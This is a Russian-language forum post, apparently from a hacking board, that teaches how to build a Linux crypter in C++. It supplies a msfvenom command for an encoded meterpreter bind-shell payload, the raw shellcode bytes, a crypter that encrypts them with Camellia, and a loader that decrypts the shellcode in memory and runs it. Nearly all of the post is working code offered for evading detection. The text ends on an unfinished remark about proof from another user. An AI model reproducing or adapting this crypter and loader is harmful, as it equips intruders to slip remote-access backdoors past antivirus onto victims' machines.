HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Доброго времени суток, Господа. Сегодня Мы займёмся написанием криптора под Linux на С++. Для этого Нам понадобится свободная библиотека crypto++
На ArchLinux установить её можно так:
yaourt -S crypto++
Криптовать Мы с Вами будем payload от msfvenom. Вот как выглядит команда для его создания:
msfvenom -e x86/shikata_ga_nai -i 5 -p linux/x86/meterpreter/bind_tcp LPORT=1337 R | hexdump -v -e '"\\\x" 1/1 "%02x"'
Исходный код файла crypter.cpp:
Код:
#include <cryptopp/osrng.h>
using CryptoPP::AutoSeededRandomPool;
#include <iostream>
using std::cout;
using std::cerr;
using std::endl;
#include <string>
using std::string;
#include <cstdlib>
using std::exit;
#include <cryptopp/cryptlib.h>
using CryptoPP::Exception;
#include <cryptopp/hex.h>
using CryptoPP::HexEncoder;
using CryptoPP::byte;
#include <cryptopp/filters.h>
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;
#include <cryptopp/camellia.h>
using CryptoPP::Camellia;
#include <cryptopp/modes.h>
using CryptoPP::CBC_Mode;
#include <cryptopp/secblock.h>
using CryptoPP::SecByteBlock;
/*
* Создаём полезную нагрузку. Key и IV будет сгенерирован рандомно
* Убедитесь что в payload'е нет NULL-байтов, иначе криптор не будет работать
*
* Пример полезной нагрузки
* msfvenom -e x86/shikata_ga_nai -i 5 -p linux/x86/meterpreter/bind_tcp LPORT=1337 R | hexdump -v -e '"\\\x" 1/1 "%02x"'
*/
string payload = "\xb8\xd8\xd3\x76\xdd\xd9\xc8\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x37\x83\xc6\x04\x31\x46\x10\x03\x46\x10\x3a\x26\xad\x13\x63\xbd\x76\x58\x2c\xb6\xeb\xee\xd5\x9d\x38\x26\x68\x11\xbc\x52\x76\x63\xb8\xb4\x85\xfe\x2a\x5b\xf4\xb9\xd2\xc5\x0f\x1a\x3a\x20\x63\x42\xc5\x4c\xae\xaa\x85\x5d\x93\xd0\xe9\xe7\x03\x18\x7b\x0c\x6b\xa1\x6c\x48\xc4\x4b\x01\xb5\xd4\x96\x3d\x08\xf9\x8d\xe9\x02\x6a\x0c\xb7\x04\xc8\x21\xc1\xfb\x37\x00\x14\xa5\xae\xc7\xd4\x13\x39\xc3\x2a\xf4\x7c\x9e\xb7\xb4\x67\x1a\x22\xcf\x03\xea\x78\x58\x4f\x21\xde\xea\xe5\xca\xf4\x4e\xf7\x33\xeb\x43\x29\x37\x2d\xef\x00\xec\x19\x2d\x44\x02\x9d\x73\x53\x37\xed\xcc\x06\xa6\x70\x23\x86\x48\xf1\x3f\x81\xeb\x31\xac\x85\xc9\x3f\x96\xd0\x5f\x45\x24\xc8\xe7\x25\x6b\x66\x46\x1d\x9e\xcd\x6c\xcb\x57\xf6\x7b\x95\xad\x4c\xe5\x34\xa3\x8c\x90\xb1\x15\x13\x2d\xf3\x02\x4b\xf8\xf6\x38\xda\x55\x0c\x34\x44\xbd\x64\x01\x93\x62\x48\xf8\xb1\x9f\x04\xc2\x53\xf0\x93\x7f\x18\x93\xa8\x0a\x5e\x1f\x38\xf9\xf3\x3f\x08\x5f\xe8\xbc\xf8\x1a\xb0\x76\xf5\x9d";
/*
* Функция для шифрования строк, используя CryptoPP's HexEncoder в StringSink
*/
string encode(unsigned char* decoded, int size)
{
string encoded;
StringSource(decoded, size, true,
new HexEncoder(
new StringSink(encoded)
)
);
return encoded;
}
int main(int argc, char* argv[]) {
// Создаём генератор рандомных чисел
AutoSeededRandomPool prng;
// Создаём ключ с 32 байтами
SecByteBlock key(Camellia::MAX_KEYLENGTH);
prng.GenerateBlock(key, key.size());
// Выводим ключ
cout << "Key: " << encode(key, key.size()) << endl;
// Создаём IV с 16 байтами
byte iv[Camellia::BLOCKSIZE];
prng.GenerateBlock(iv, sizeof(iv));
// Выводим его
cout << "IV: " << encode(iv, sizeof(iv)) << endl;
/*
* Начинаем шифрование
*/
try {
// Будет хранить в себе закриптованную полезную нагрузку
string cipher;
// Используем Camellia с CBC_Mode
CBC_Mode<Camellia>::Encryption e;
// Инициализируем параметры шифрования
e.SetKeyWithIV(key, key.size(), iv);
// StreamTransformationFilter добавляет padding
StringSource(payload, true,
new StreamTransformationFilter(e,
new StringSink(cipher
)
)
);
// Выводим cipher
string encoded_cipher;
StringSource(cipher, true,
new HexEncoder(
new StringSink(encoded_cipher)
)
);
cout << "Ciphertext: " << encoded_cipher << endl;
// Ловим ошибки если таковые произошли во время шифрования
} catch (const CryptoPP::Exception &e)
{
cerr << e.what() << endl;
exit(1);
}
return 0;
}
g++ -I/usr/include/cryptopp crypter.cpp -o crypter -lcryptopp -m32
После запуска криптора получаем такой вывод:
Теперь напишем decrypter.cpp.Ведь наш crypter только шифрует. Нам же ещё необходимо взять зашифрованные данные, дешифровать их в памяти и запустить финальный payload
Код:
#include <string.h>
#include <iostream>
using std::cerr;
using std::endl;
#include <string>
using std::string;
#include <cstdlib>
using std::exit;
#include <cryptopp/cryptlib.h>
using CryptoPP::Exception;
using CryptoPP::byte;
#include <cryptopp/hex.h>
using CryptoPP::HexDecoder;
#include <cryptopp/filters.h>
using CryptoPP::StringSink;
using CryptoPP::StringSource;
using CryptoPP::StreamTransformationFilter;
#include <cryptopp/camellia.h>
using CryptoPP::Camellia;
#include <cryptopp/modes.h>
using CryptoPP::CBC_Mode;
/*
* Задаём параметры для расшифровки
* ciphertext - содержит hex зашифованный текст, что мы сгенерировали
* key - содержит ключ шифрования
* iv - содержит вектор инициализации (IV)
*/
string key = "A3866C3024FA6BC8B021DC2EF296EE647360D20162C5790B47481605513844BA";
string iv = "ED4DB609D440773AC1027302709CDFC5";
string ciphertext = "1AF3F5067C1E327DED6ADFF7A9D05F21646CA339684C1CC66A99F5BFB7E9720F4DCFAD36F5B9ED99FE704E0CC7D334A5D66439A987118A485894F525A79052EC27CF688CBBFED3D95BBCE6E1F7568E9BBE39617F314B3C08A1529E7F72A7CF255912443934DC745F628CA6E405789090FDC7FB67469B79D7A57A3786EDEA6BAF2E166839005436A85DDA57501B3FFDEC41129091253CAADA59EA972D72869E25CCF291F6E2BCB17432E6F6EC6713FFF5";
/*
* Функция для расшифровки используя HexDecoder в StringSink
*/
string decode(const string &encoded)
{
string decoded;
StringSource ssrc(encoded, true,
new HexDecoder(
new StringSink(decoded)
)
);
return decoded;
}
int main(int argc, char *argv[]) {
// Расшифровываем ciphertext, key и IV
string decoded_cipher = decode(ciphertext);
string decoded_key = decode(key);
string decoded_iv = decode(iv);
// Ковертируев ключ и IV в const byte *. Нам это позже понадобится
const byte* b_decoded_key = (const byte*) decoded_key.data();
const byte* b_decoded_iv = (const byte*) decoded_iv.data();
// Строка для сохранения расшифрованного контента
string recovered;
try {
// Выбираем метод дешифровки
CBC_Mode<Camellia>::Decryption d;
// Задаём параметры дешифровки
d.SetKeyWithIV(b_decoded_key, Camellia::MAX_KEYLENGTH, b_decoded_iv);
// Проводим дешифровку и записываем расшифрованную в "recovered"
// StreamTransformationFilter удаляет padding
StringSource s(decoded_cipher, true,
new StreamTransformationFilter(d,
new StringSink(recovered)
)
);
// Ловим ошибки, если таковые произошли
} catch(const CryptoPP::Exception& e) {
cerr << e.what() << endl;
exit(1);
}
// Конвертируем расшифрованные данные в char
char * writable = new char[recovered.size()];
std::copy(recovered.begin(), recovered.end(), writable);
// Запускаем shell-код
int (*ret)() = (int(*)())writable;
ret();
return 0;
}
(у меня с этим были проблемы, из-за отсутсвия в данный момент 32-битной библиотеки) Но вот доказательство от другого чувака, который их имел(он как-раз таки и вдохновил меня на эту статью):